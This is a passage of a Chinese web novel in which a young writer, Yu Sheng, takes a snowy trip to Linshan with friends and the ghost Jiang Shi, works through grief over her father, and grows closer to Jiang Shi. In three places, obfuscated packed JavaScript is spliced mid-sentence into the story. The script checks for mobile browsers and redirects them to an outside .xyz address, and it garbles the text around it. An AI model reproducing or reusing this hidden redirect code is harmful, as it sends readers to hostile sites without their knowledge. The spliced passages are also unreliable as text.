见喻声没拆开包装袋,舒云繁在自己袋子里掏出一颗递到喻声嘴里,向她解释着。 “我哥是医生,连休息的日子都在医院查房,因为摔伤,我还是头一次看到他连续两天都待在家里的。” 那他在这么忙的情况下,还能坚持去福利院当志愿者,看来是真热爱,在书店偶遇包上挂着福利院挂饰的她想要个联系方式也不足为奇了。 有了正面论证和侧面论证,喻声心里那块不上不下的石头终于以完美的抛物线沉入心湖底,再也泛不起一丝涟漪。 “那很辛苦。”喻声说。 “我只请了这两天假,明天就回医院上班了。”舒云霁先回答了舒云繁,又看向喻声,笑着说,“还好,辛苦着辛苦着也就习惯了。” 他想了一下,手指无意识地摩挲手中的玻璃杯,就休息时间开了个新的话题。 “今年国庆和中秋隔得不远,排班后我还有五天假期,可以约着一起出去玩几天。” 闻言,舒云繁连玉米球都不吃了,转头眼睛亮晶晶地盯着喻声。 喻声第一反应就是先拒绝:“我就不去了吧?攒了挺多工作的。” 先不论和舒云霁刚认识两次就去旅游有点超出她的社交承受范围,她也真没在节假日人挤人的意愿,何况还没问过春华女士国庆的安排,不知道要不要趁长假期回趟棉城。 但舒云繁实在太缠人,左一个她在东宜都快长毛了,右一个她还没跟喻声出去玩过,上一个码字在哪里不是码,下一个她哥的伤压根不严重,不影响旅游走路,把喻声的所有借口都堵了回去。 最后喻声只能投降,说等回家先给奶奶打电话问问看先。 缠人的何止是舒云繁,还有个从去了舒云霁家后就赌气到现在的幼稚鬼。 回到家后,喻声攥着手机进了阳台,给春华女士打了个电话。 这个点,春华女士大概在做晚饭,铃声响了很久还没人应答。 东宜虽说入了秋,但天气变化不大,大家出门还是习惯穿短袖,有时早午得靠空调才能心平气和地度过。 但棉城和东宜不太一样。 棉城的四季很分明,入了秋温度就会开始骤降,每每到了这时,春华女士就会从头到脚给喻声裹上一层,喻声如若不愿,她就会以身作则,说奶奶也是这样穿的,我们祖孙可都不能着凉。 好几年都不在棉城过秋,喻声突然很想看看,没有她在身边,春华女士会不会好好地以身作则。 于是她把电话挂断,转为视频,好在这次没等多久,春华女士接了视频,开口依旧是熟悉的关心。 “生生,吃饭了吗?” “还没呢,打完视频就去吃了。” 她边回答,边看着屏幕里的春华女士。 很好。 小老太太穿得很严实。 喻声放下心来。 她果然是在做饭,手机架在正对着燃气灶的窗台上,燃气灶上还煨着肉。 “春华女士最近都在忙什么呢?” “有个刚上初中的孩子,玩啥不好非玩招鬼游戏,这不就被缠上了?我见了那孩子,那脸色蜡黄的,瘦得都剩皮包骨了——” 话说一半,王春华把手机举起来,正对着光,仔细端详着屏幕那头的喻声,才满意地点头,“你最近气色看起来不错,奶奶就放心了。” 她定睛一看:“不过你后面怎么——” 喻声胳膊本来随意搭在阳台栏杆的扶手上,闻言心猛地一跳,她收回手,紧绷转头,目光扫过身后。 身后是安静的客厅,江时不在:“我后面怎么了吗?” 王春华皱眉,摇头:“应该是我眼花看错了,总之你一发现不对劲就得告诉奶奶,知道了吗?” 喻声怕她再说下去就得扯出江时的事,连连答应,迅速抛出一开始打电话的目的:“今年国庆和中秋挨得近,我在想要不要回趟棉城。” 东宜,30°,晴朗无云。 棉城,17°,微雨。 屏幕里传来啪嗒啪嗒声,太模糊,喻声听不清是肉的浓汤往上冒泡的声音,还是雨水敲着窗户的声音,春华女士的声音倒是很清晰,裹着啪嗒啪嗒声传来,是意料之内的拒绝。 “别回来了,我都报好旅行团出去旅游了,你回来了不也得一个人守家?” “奶奶。” 有片刻的静默,喻声出神地望向窗外,天空有飞鸟掠过,来去无踪。遛豆乳时的美丽景色像只留在了昨天,她恍然发现自己记忆中棉城的秋随着视频里听不清的背景音一起,年复一年,逐渐变得模糊。 她有点害怕。 害怕最后会连棉城秋时唯一清晰的,春华女士的声音也变得模糊。 “我们是不是很久没一起过中秋了?” 挂断视频前,喻声只听到最后一句。 “生生,听话。” 听话的定义是什么? 是想说的太多,到底没说出来,最后只能以一声“嗯”草草收场。 喻声在阳台站了好一会儿,直到所有路灯都悉数亮起,再也等不到一只飞鸟才转身回客厅。 “你刚刚到阳台来了?” 江时背对着阳台,坐在沙发上,只露出个圆圆的后脑勺,喻声没忍住问他。 “我只是想看看。” 他头也不回地回答。 “……看什么?” “看看除了舒云繁两兄妹外,到底还有谁能有你的联系方式。” “……” 喻声无语望天。 她当时是怎么觉得照片上的他比现在的他多了稚气的? 明明论起幼稚程度来,这么多年明显有愈演愈烈的趋势啊。 喻声不客气地从江时手里抢过手机,扫码添加一气呵成,随后加以警告:“我奶奶也能看见鬼,以后我视频的时候你小心点,别被她看到了,她的功力在整个棉城都是数一数二的。” 江时看起来心情很好,没反驳,干脆地说了声知道了,他会注意的。 「江时。」 「声声,你打完电话了吗?」 喻声的手指在第一条消息上停顿,最终没点开,她往下划拉,打开了舒云繁的聊天框,边回边坐下。 喻声:「我打完电话啦。」 舒云繁:「那决定了吗!」 喻声:「嗯,一起出去玩吧,我也好久没旅游过了。」 舒云繁明显很兴奋,发了十多张小狗转圈圈的表情包过来,在最后面附带了一条链接:「你看看这里怎么样?机酒不贵,我查了一下,居然国庆就开始下雪了,之前我们看电影的时候不是还讨论过东宜都不下雪吗?正好趁长假期我们去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373074|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看雪。」 舒云繁:「我哥他去哪里都行的,不用考虑他的意见。」 舒云繁:「声声,你先看看链接,看看喜不喜欢,也可以把你想去的地方发来,我们再挑挑,也不是非得去这里的。」 喻声点开链接,是一篇很全面的游玩攻略,她有看文章标题小声念的习惯,此刻也一如既往地把标题念了出来。 江时捕捉到关键词,抬眼看喻声:“临山?” 喻声正一目十行扫着攻略,头也没抬,顺口回答:“对,舒舒问要不要去这里玩。” 粗略地扫过一遍后,喻声退出链接,抬手打字:「可以,就去临山吧,我还没去过。」 喻声和舒云繁敲定地点后,就迅速定了机酒,防止临期大涨价。 一切都搞定后,舒云繁马上换个新话题。 舒云繁:「还有喔,声声。」 舒云繁:「我还有个问题!」 舒云繁:「我哥家是真没鬼吧?」 喻声:「真没有,放心。」 舒云繁迟疑了半天,才把她最想问的问出来:「那你家那个碗柜……」 喻声用沉默代替了回答。 舒云繁用一堆尖叫表情包结束了话题。 最后,喻声安慰完舒云繁,才回了一开始没点进去的聊天框的消息。 喻声:「喻声。」 喻声:「Koonyangi猫猫星星眼.jpg」 聊完后,喻声熄灭屏幕,刚想起身准备晚饭,就收获了一道灼灼目光,来自另一个沙发。 联想到此鬼的缠人程度,她忽然有点福至心灵。 “……你不会也想去吧?” 江时听到想听的,脸上一点一点染上笑意,眼睛眨巴两下。 “可以吗?” “你对旅游也有兴趣?” “我是对临山感兴趣,听起来挺熟悉。” 也不是不行。 反正他也不需要买票,随他去吧。 喻声没去深究他觉得熟悉的原因,点头应允。 吃过晚饭后,江时百无聊赖,接着看电影,依旧是从喻声的浏览记录找的。 经过了早上尴尬的那一遭,喻声觉得自己暂时不适合看太跌宕起伏的电影,于是她回了房间,工作了一会儿。 大概写手都是这样,一到夜深人静时就灵感爆棚,喻声的思路很顺,直接洋洋洒洒两万字,结果把稿子提交后时间已经逼近三点。 她赶紧上床,准备睡觉前最后再看一眼一晚上没碰过的手机,怕错过了什么重要消息。 聊天界面,静悄悄躺着三条消息。 江时:「别想太多,开心点。」 江时:「临山说不定比棉城更漂亮。」 前两条是一起发的,另一条是过了很久之后才发的。 江时:「Koonyangi猫猫星星眼.jpg」 喻声笑,视线久久停留在和江时的聊天记录上。 她工作到这么晚,何尝不是为了用忙碌来减少胡思乱想。 确实是很重要的消息。 直到现在好像才放松了点。 喻声没回复,关灯,在日出前进入睡眠。 这一觉喻声睡得很不安稳,恍惚间做了个绵长的梦。 在梦里,和春华女士视频时需要仰头才能看到的飞鸟不知何时和她平行,她想停下,不愿再和飞鸟赛跑,却控制不了身体,手脚绑着线像提线木偶般被扯着往下俯冲—— 直到心有余悸地停下时,身旁已经不见飞鸟,取而代之的是舒云繁兴奋的声音。 “声声!醒醒!我们到临山啦!” 12. 100岁 为了延长假期的时间,他们是在放假当晚坐了红眼航班飞到临山的。 喻声在飞机上睡了一觉,舒云霁因职业的特殊性经常值夜班,江时就更不用说了,一行人最后只剩舒云繁困得眼皮直打架,临山和东宜相比明显骤降的温度都没能阻挡她要和冰冷的地面亲密接触。 机场离酒店不远,打了车过去,在前台取了房卡,舒云霁一间,舒云繁和喻声一间,进了房间门,舒云繁立马说让她先洗漱,她想收拾完后赶紧上床睡觉。 喻声当然说好。 她好笑地看着舒云繁扔下行李直奔浴室,行李箱被她往前冲的劲带到,没站稳晃晃悠悠地要往下倒,喻声隔了两步想扶住,可惜距离太远,伸手没握到行李箱拉杆。 这时,旁边有人直直伸出腿,往上抵住箱体,行李箱免去倒地的哐当声。 是江时。 喻声吃惊,注意力从行李箱跑到江时身上:“你怎么在这里?” 江时轻挑眉,收回腿:“我不在这里要在哪里?” 喻声差点忘了这茬,扶额,有点头疼。 正巧这会刷着牙的舒云繁从浴室门缝里探出头来,声音含糊:“声声,你在跟我说话吗?” “我是想问。”喻声为难,“你哥哥,平时习惯跟别人一间房吗?” 舒云繁刷牙的幅度减轻,她眨眼,有点反应不过来:“……什么意思?” 喻声摇头,说着没事:“当我没问,你赶紧进去洗漱吧。” 舒云繁疑惑地出来,又疑惑地回去,权当自己太困了话都听不清楚。 江时把刚刚的对话尽收眼底,他往后退了几步,靠在门边的墙上,双手抱胸,眼皮轻抬,慢悠悠出声:“先说好,反正我不去他那里睡。” 好一副宁死不屈的模样。 死,动词,过去时,不用加双引号的那种。 喻声叹气,掠过江时,推开房门往外走:“我还怕你吓坏人家医生呢。” 江时侧头,视线落到门外的喻声背影上:“你要去哪里?” “再给你开间房啊,不然能怎么办?” ——怎么会有这么容易心软的人? 江时想。 他收回目光,勾了勾嘴角,笑意毫不掩饰,随即站直起身,拍拍衣服上根本不可能出现的灰,迅速跟了上去。 很不巧,国庆的酒店房间基本上都住满了,喻声住的那层只剩一间尾房;不过巧的是,是不是尾房对鬼来说也没多大区别,喻声索性就直接订了。 把不会使用酒店房卡的江时送进他的房间,教了他一些基础设备怎么用,喻声才蹑手蹑脚地回了自己的房间。 老古董学得挺快,就是要教的东西实在太多,拖了点时间,果不其然回去时舒云繁已经睡着,发出均匀的呼吸声。 她估计太累了,也没精力再发消息问喻声去了哪里,但房间的大灯还亮着,给喻声留的。 喻声把堆在门口的行李箱小心翼翼地打开,取了洗漱用品,也没收拾,怕吵醒舒云繁,关了大灯后就进了浴室。 喻声在飞机上睡过一觉后精神好了太多,反正暂时也睡不着,不如趁还没进入玩疯的状态先码会字。 电脑键盘敲击声在安静的环境下太响用不了,喻声想了想,最后背靠着洗手台,在手机上下了个码字软件就开始写。 刚顺完人物小传,把主角的行为动作修过一遍,思绪就被浴室飘窗外绽放的烟花勾走。 四季更迭,昼夜交替,转眼已到十月。 值得庆祝的十月。 生活好像真的在慢慢变好,腿上的伤口已经掉痂,只剩一点浅浅的痕迹,她有了新朋友,有了亲近的人,工作也在一步一步平稳地往前推进中,不稳定的因素也很久没有出现。 「拜托这样的日子再久一点,别像烟花一样短暂。」 故事快到收尾的阶段,喻声把这句话敲进了文档里。 文档的保存键在右上角,喻声点击,却不小心点进了弹出来的消息框里。 江时:「烟花好漂亮。」 喻声:「又有什么东西不会用了吗?」 江时:「……喂。」 江时:「怎么说出这么难听的话的。」 江时:「我可是很厉害的好不好。」 喻声笑,退回码字软件,把文档先保存好,再一键转发给他。 喻声:「我最忠实的读者。」 喻声:「看看落地临山新出炉的这一篇怎么样。」 那边暂时没有回音,估计在看,喻声放下手机,开始洗漱。 外面的烟花放了很久,久到喻声洗漱完,上床玩了会手机才停歇。 刚停歇,消息框就轰炸式地弹出来,颇有续上热闹烟花的意味。 是某只鬼的消息。 他笨拙地,缓慢地,发了图片过来,是拍的烟花,一开始是一张,接着聚成一堆滚动播放。 前面的那些拍得不好,不是直接拍到了漆黑一片的天空,就是拍得只剩些模糊的光点。 渐渐地,他掌握拍照要领,绚烂铺满整张图,在十月的第一天,把心里那杆关于亲密关系的秤压得更低。 江时:「我最喜欢的作者。」 江时:「快看。」 江时:「帮你找到永恒的烟花了。」 江时:「Koonyangi猫猫星星眼.jpg」 - 到底没能睡多久。 游玩攻略和天气预报没骗人,天刚蒙蒙亮,窗外就下起了大雪,雪簌簌地落,很绵、很轻。 窗户是相框,雪花是胶片拉到100%的噪点,定格了喻声对于临山的初印象。 喻声睡眠很浅,还有点认床,旁边刚有点响动她就被惊醒。 舒云繁蹲在窗户边,双手撑在玻璃上,她听到声音后扭头,对上喻声刚睁开的眼睛,语气和脸上全带着歉意:“是不是我吵醒你了?” 喻声撑着床坐起来,摇头:“没有,我本来就该醒了。” 她笑着问:“外面是下雪了吗?” “是啊!”舒云繁的歉意被兴奋替代,她站起身快跑两步,把还裹在被子里的喻声拉到窗边,眼睛都笑得弯起来,“声声!快看!是雪诶!我第一次看到雪!” 舒云繁高兴地差点跳起来,她双手一拍,主意冒出来:“我们去下面走走吧!” 喻声又笑,看着她:“你洗漱了吗?” “对哦,谁让这个雪太吸引我了。” 舒云繁摸了摸鼻子,鼻尖在暖气下烘得通红,“那我先洗漱,你换点厚衣服,收拾完我们就下去。” “知道了,你快去吧。” 等舒云繁去洗漱后,喻声驻足窗边看了好一会儿后才绕过床,去床头柜拿了手机,想多拍点雪景。 东宜不下雪,棉城倒是下,但棉城和临山的雪不同,临山的雪明显厚很多,把天地间一切非白的事物都揉碎、吞噬。 比临山的雪更厚的是江时发来的信息,他大概清楚喻声有睡觉把手机关机的习惯,所以发起信息来肆无忌惮。 喻声的印象还停留在自己发了的那句—— 喻声:「我收下了。」 没想到后面还有一堆,延续着昨晚没看够的、永恒的烟花。 江时:「收下了?」 江时:「也不说句喜不喜欢。」 江时:「拍照技术还是不错的吧。」 江时:「手机真好用。」 江时:「这还是我自己发现的功能。」 江时:「所以别再小看我了。」 江时:「我还是挺厉害的。」 江时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373075|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :「……怎么不回我。」 江时:「这么快睡着了?」 江时:「电视真难看。」 江时:「没有你搜集的电影好看。」 江时:「今晚谢谢了。」 江时:「房间很舒服。」 江时:「很亮堂。」 江时:「没有其他鬼。」 江时:「好无聊。」 江时:「真不理我。」 江时:「醒了给我发信息。」 江时:「也不知道什么时候能等到你开机。」 他像患了分离话唠症。 喻声突然觉得,虽然当时以为他搬香案很迅速时曾对能净化掉睡眠的这种特异功能很心动,但现在看来,弊端也不是没有。 至少人还能保证在睡眠中不胡思乱想,鬼不能。 喻声举起手机对着窗外拍了好几张雪景,最后挑挑选选,找了张最漂亮的发给了江时。 喻声:「醒了。」 喻声:「我和舒舒想下楼走走,你要的话就跟上来吧。」 江时秒回:「好。」 喻声想了想,一条一条回复了他。 喻声:「喜欢,烟花很漂亮。」 喻声:「没小看你。」 喻声:「电影在电视上也能看,我今晚帮你找。」 喻声:「你不是说过了吗,不用总说谢谢。」 过了很久,喻声和舒云繁都收拾完,临出门前,喻声才收到江时的信息。 江时:「Koonyangi猫猫星星眼.jpg」 - 舒云繁喊了舒云霁下来走走,但不愧是生活得一丝不苟的医生,给的回复是已经在酒店楼下的健身房锻炼了,等一会儿回酒店房间洗个热水澡再跟她们汇合。 临山地如其名,山尤其多,他们定的酒店隔条路就是,远远望去巍峨的白茫茫一片。 喻声和舒云繁在前面走,江时不远不近地跟着后面。 雪踩上去是咯吱咯吱的,舒云繁觉得新奇,走得很缓,从围巾里露出耳朵细细听。 明明被冻着,她还是保持着伸手接雪的动作走了好长的一段路,和僵尸的唯一区别就是手心的朝向,这种联想直接把喻声逗笑。 “好啊你。”舒云繁听到笑声,佯装生气,“嘲笑我是吧!” 她迅速蹲下,捧起雪团了个小雪球,趁喻声不注意往她身上砸,雪软绵绵的,没什么威力,只在衣服上留下了一点洇开的痕迹。 喻声玩心也起来了,她弯腰捡雪随意捏紧就扔了过去,舒云繁立马不甘示弱地跟上,两人的雪球在中间相撞,又在空中散开,像没有焰色反应的烟花。 就这么一路闹到山脚下,雪最厚的地方,两人才休战,蹲下来堆雪人。 舒云繁捏得圆不成圆,软趴趴一坨,她邀请喻声品鉴,得到了喻声“比起圆更像豆乳”的评价。 不过喻声堆的也没好到哪里去,最终只能靠从酒店早餐处顺来的半截胡萝卜和两颗黑葡萄让它至少更像样些。 她们在堆雪人的时候,江时就坐在雪地里,手指划拉着写字。 不太清晰,但依稀能看见。 茫茫雪地里,江时写的是「如愿」二字。 这时还尚早,到处静悄悄的,所以拍立得的快门声被衬得很响。 喻声抬头,是舒云霁。 他把照片捂在手心,等成像了摊开看,走过来时语气有点遗憾:“本来想记录一下你们一起堆雪人的,但好像第一张拍糊了。” 喻声笑着打了声招呼,接过相片看。 雪地上,她在最中间,被雪人挡住,只露了个头;舒云繁在右边,侧对着镜头;而左边,确实模糊了一片。 没有人在意这张废片。 大家都以为照片模糊因为雪。 13. 100岁 那张模糊的拍立得最终被舒云霁收回了口袋里,他重新拍了两张清晰的,一张给了喻声,一张给了舒云繁。 虽然雪人的量词是两滩而不是两个,但也勉勉强强算成型了,因此几人在拍完照后也没多停留,直接离开了堆雪人的地方,沿着山脚漫无目的地往前走。 他们在来之前看了游玩攻略,但这趟旅程的目的很纯粹,完全是为了从忙碌的生活中挣脱出来,所以逛到哪算哪,没有人提要去人挤人的景点这件事情。 喻声边走边有点放空,直到有一声询问打破寂静。 “冷吗?”舒云霁问。 喻声还以为他在问舒云繁,一开始没吭声,可半天却等不到舒云繁的回话,她抬眼,撞入舒云霁的视线中,才反应过来他在等的回答是自己的。 “有点。” 喻声笑,把围巾拢紧,手塞回衣服口袋里,“走走应该就好了,我穿的已经够多了。” 不知为何,她和舒云霁对话时总透着拘谨,明明和舒云繁第二次见面就已经开始熟络起来了。 舒云霁嗯了一声,放在外套拉链处的手迟疑了一会儿,最终重新垂下,没再说什么。 沉默没持续多久,被舒云繁的一声惊呼打破:“快看!好多马!” 喻声顺着舒云繁手指的方向望去。 如果说100%噪点的雪景是喻声对于临山的初印象,那么此刻眼前仿佛进入了异次元的这一幕,才能称之为真正意义上地认识了临山。 雾气缭绕下,是一整片不分边界、发灰的蓝,梦中的飞鸟原来也来到了这里,正沿着连簇的树边缘敲击着风,世间的连锁反应不讲道理,于是风响、雪飘、小屋晃荡、草自由、马踏雪前行,牧民唱着悠扬的歌,烦恼去往别处流浪。 活着。 活着原来是这种感觉。 ——在拥有的时候能真切感受到,原来才是活着的意义。 喻声想。 控制不住要往景里闯也是连锁反应中的一环,舒云繁在领着马群的小姑娘的友好眼神示意下轻轻摸了摸马背。 “可以上去试试,我们这里的马儿都很温顺的。” 小姑娘把双马尾顺到胸前来,操着一口不太流利的普通话,笑着对舒云繁说。 舒云繁原本还有些犹豫,被舒云霁一句“不敢就算了”激将到,立马就说她现在试试。 握住缰绳时还好,脚放入马镫时舒云繁就开始害怕了,逞强站上去时还踉跄了一下,好在舒云霁在下面护着她,最终有惊无险地趴上马背。 舒云繁和舒云霁在进行上马初尝试时,喻声就站在一边,学着刚刚小姑娘教舒云繁的那样,慢慢抚摸着另一匹马的颈部。 小马很乖顺,头低垂着,半闭双眼,耳朵放松着微微朝前。 趁着前面的人都不注意,喻声问旁边一直没参与进来的江时:“你要试试吗?可以摸摸它。” “我不。” “不敢还是不喜欢?” “……都不是。” 江时还在找着借口,手却被喻声一把牵住,他下意识地挣脱开后缩回手,反应过来后抿唇开口:“冷。” 喻声刚被他猛烈的动作吓了一跳,手依旧僵在半空中,听到他解释却没明白:“……什么意思?” “我是鬼啊,体温太低了。”江时慢慢伸手,让喻声的手搭到他的衣服上,感受到喻声渐渐攥紧他的袖子后才低头,额前头发垂落,遮住眼睛,语气有点别扭,“你刚刚不是还觉得冷吗?” “碰到我的话,会更冷吧。” 他低头前,喻声能从他眼睛里看到的,只剩不知所措。 他不够圆滑,动作生硬,说出来的解释很笨拙,也很拧巴。 明明有这么多不好的地方。 可是风响、雪飘、小屋晃荡、草自由、马踏雪前行、心跟着无规律地打着鼓点,愈来愈快,近乎本能,不讲道理。 喻声放开了江时的袖子,手往下滑,握住他的手腕,像淋雨那天晚上一样,却比那天晚上更能感受到他的紧绷。 喻声往旁边走了几步,鞋子踩在雪地里咯吱咯吱响,她给江时让出了位置,攥着他的手放到了小马的颈部。 江时迟疑,但也没拒绝,他的手轻轻贴着小马,直到柔软落入手心时才敢有进一步的动作。 “你看。”看着江时僵硬地抚摸着,喻声弯了弯眼,“它很舒服,很温暖,一点都不冷。” 江时眨眼,不敢置信。 他也有给予温暖的能力吗? ——她又在哄骗他了吧。 江时想。 “声声!” 喻声把放在江时手上的目光移到舒云繁身上。 舒云繁玩够了,从马上下来,和小女孩沟通过后换了舒云霁上去,她自己则跑到喻声这里来。 江时赶紧往后躲,避免被舒云繁直接穿过。 察觉到他的动作,并猜到他的意图,喻声偷笑。 舒云繁站定,喘气,眼睛亮晶晶看向喻声:“怎么不上去试试?和我想象中的感觉好不一样,还挺好玩的。” 喻声帮她把肩膀的雪拍落,笑着说:“我就不试了,从酒店走到这里已经有点累了,先休息一下。” “反正我们来这里就是放松的,骑不骑都行。”舒云繁兴致勃勃,“但有一个你一定得试试。” “刚刚那个小姑娘跟我说,晚上这里有篝火晚会,游客也可以来,有热酒和热奶茶喝,大家跳跳舞唱唱歌,临山晚上很冷,刚好可以暖和一下,我们今晚也来看看吧?” “人不多吧?” “应该不多,你看我们刚刚走这一路,都没见到几个人。” “那可以,我们晚上过来看看。” 人不多绝对是谣言—— 喻声捧着杯热奶茶埋头蹲在角落里,像蘑菇,还必须是无花纹的、暗色的那种。 她努力降低自己的存在感,可惜功力不够,没法把自己和雪地的颜色变成一样的,最终还是被连根拔起,变成烧烤架上的一朵,被迫加入绕火堆跳舞的行列中。 社恐在这里是要被禁止的。 每个原住民,包括游客,都很热情,大家来自五湖四海,有着不同的口音,有着截然不同的人生经历,好不容易有了交集,一逮住人就开始推杯换盏、热火朝天地交谈。 舒云繁和舒云霁不知道移动到哪堆人里去了,喻声都快被篝火烤熟了也找不到他们,自己想躲都躲不掉,被个胡子拉碴的大叔抓住,听他背着老掉牙的诗。 大叔喝得醉醺醺的,说他是来旅居的,就住在早上看到的那些民宿小屋里:“我来这儿都一两年了,小姑娘,你是第一个喜欢听我念诗的。” “我那些诗啊——”大叔皱眉回想,“确实太没新意了,是吧?可是我爱人就爱听这些,她去世后,我脑子里什么都没有,只剩这些了。” 喻声怔住。 她手中装奶茶的纸杯几乎变形,大叔话语中那种溢出来的悲伤把她完全掩盖,一开始把他念的诗定义为“老掉牙”时的愧疚感也随之席卷而来。 她轻声开口,问:“所以您才来临山的吗?” 临山总让人有种真切在活着的感觉,不管是这里的景,还是这里的人,都很轻盈、生动、鲜活,来这里疗伤是个不错的选择。 但理由却远比她想象中地更加悲伤。 “我爱人总想来,提了好多次,说她待在小县城一辈子了,还没看过大草原。我还一直劝她,我说好好治病,有机会的。” 大叔把手中的热酒一饮而尽,长叹了一口气,整个人颓在椅子上,像要比早上堆的雪人更快融化。 他好像在哭,肩膀拼命颤抖着,却没有眼泪,“但我赌错了,临山的草原这么美,她却再也没法陪我看了。” “小姑娘。” 喻声的手合在嘴边,呵出口白气,她慢慢地远离篝火,在真的变成烧烤被吃掉前退出人群,往外一步一缓地走着,耳边回荡的还是大叔彻底睡过去前,跟她说的最后一句话。 “千万别留遗憾,趁没失去之前,有什么想做的就去做。” 很奇怪。 这种情况下,脑海中第一个浮现的人居然是—— 江时怎么坐在这里? 喻声停住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373076|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步。 天黑地白间,他像一块晕开的、透明的、很薄的水渍,没人处理,固在那里一动不动。 他双手往后撑,仰头,看着天上的星星,不知道在想些什么。 喻声边往前走边把围巾取下,随即规规整整叠成正方形,垫在雪地上。 她在江时身旁坐下,抱住膝盖,也仰头往天空看。 漫天的繁星。 很漂亮。 江时没偏头看她,依旧盯着星星,却笑:“不跟大家多玩玩吗?” “那你呢?”喻声问,“你怎么不来?” 江时一顿,手往前收,坐直,视线晃晃悠悠落到地面,没瞒她:“我不太喜欢火。” 这个回答毫无征兆,喻声一愣,过往的事情浮现眼前,她恍惚间像抓住了什么,却只朦胧看出个大概轮廓。 “所以你才说不喜欢红色的东西?” “嗯?” “第一次买泡面给你吃的时候,你说过牛肉味泡面的包装是红色的,你不喜欢。” 江时这下是真的笑得很开心,笑声自喉间逸出,他抬眼,仔仔细细地用目光描摹过喻声的脸:“怎么还记得这个?” “又不是什么很难记住的事。”喻声也笑,“但确实不如你破坏我的小盆栽这种事来得深刻。” 江时:“……” 能不能别提这件事了? “我记得的事比你想象中要多得多。”他的不满太过显而易见,喻声嘴角往上翘,算是在哄他,“你发的安慰信息我也记得,那天晚上,我很开心。” 没细提,但江时明白,她说的是她打电话问要不要回棉城的那天晚上他发的那三条信息。 “我当时说,临山说不定比棉城更漂亮,你现在会这么觉得吗?” 江时没去过棉城,不知道棉城是什么样的一个地方,但他知道应该很漂亮,才会有傻瓜因为回不去偷偷流泪。 眼泪是砝码。 流得越多,独属于那块地方、那些事的意义就越重。 他发这条信息时,只是希望喻声能暂时因为一个也同样很漂亮的地方而止住往上累加砝码。 喻声被问住,沉默了一会儿。 她单手扶着膝盖,另一只手无意识地在雪地里勾勾画画,直到有一滴泪砸到她画的字样上,她才回神,反应过来自己写的是江时曾写过的,「如愿」二字。 她佯装平静,用掌心把字擦掉时,泪就落到了手背上,手背承受不住,顺着融入雪中,把「如愿」二字彻底淹没。 江时看到了眼泪。 不平静的眼泪。 他的喉咙瞬间被攥紧,不大的力道,像喻声握住他手腕那样轻,却让他在此刻说不出任何一句话来。 “我没法比较。”喻声打破寂静,缓缓说道,“我已经很久没在这个时候回过棉城了,都不太记得现在的棉城是怎么样的了。” 她突然有了倾诉的欲望,或许是得益于当下太好开口的环境,或许是因为对方是鬼。 或许因为他是江时,仅此而已。 “我以前最怕过中秋节,我爸就是在这一天过世的。不仅我这样,春华女士——就是我奶奶,她也如此。每年过中秋,她都会独自一人去看我爸,在墓地里,一坐就是一整天。”喻声说,“她怕我哭,也怕我看到她哭,她不让我回棉城,谎称自己要去旅游,都是不希望我沉浸在悲伤里,希望失去至亲的痛苦让她一个人承受。” “我懂,所以我听话,但偏偏我没法当作什么都没发生,也没法说出口。” 听话的定义是什么? 她原来一直都理解错了。 不是想说的太多,能说的太少,而是总有一个人会因为爱而妥协。 喻声说话时,江时的视线一直落在她的脸上,没有偏移哪怕半分;而在喻声说完之后,他伸出手,摸了摸她的头,学着喻声牵他的手腕时说过的话—— “舒服、温暖、不冷,你会不会也能感受到?” 一瞬间,有什么东西脱离了原先设定好的轨道。 不知道是什么东西。 也不知道是谁的。 14. 100岁 舒服、温暖、不冷。 偏偏是她此刻最需要的东西。 喻声感受着来自头顶的、久违的温度,问江时。 “你是有什么读心术吗?” 一句话把有些青涩、旖旎的氛围打破。 江时笑,改摸变揉,五指插入喻声的发丝中去,把头发彻底弄乱,在她终于止住眼泪投来恼怒的眼神时又把她的头发抚平梳顺,紧接着慢悠悠回答。 “读心术?明明是你教会我的。” 他指着天上的星星:“我还在母亲身边的时候,她很喜欢带我去看星星。是她告诉我,每个人都会有一颗属于自己的星星,这颗星星是存在还是消失,都会持续地对你的生活造成影响,不管这种影响是好的、还是坏的。” “当时的我很懵懂,直到离开她后,我学着当初那样,在夜晚反复地看天空,我才明白她当时说的,她自己的那颗星星,是我父亲。” “但我现在倒是觉得,心的容量比天大,人并非只能拥有一颗星星。”江时说,“所以不用当作什么都没发生,也不用害怕说出口,你们的星星除了你父亲,不是还有你们彼此吗?” 江时的声音比临山的雪还轻,轻飘飘落在了跷跷板上,却能把另一边的,过去好几年、有点沉重的日子高高扬起。 年少的梦境里藏着英雄主义,总觉得不说出来独自承受才是正确的拯救生活的选择,可喻声现在才蓦然发觉不是这样的。 两份悲伤两人独自承担,不如一份悲伤两人一起承担。 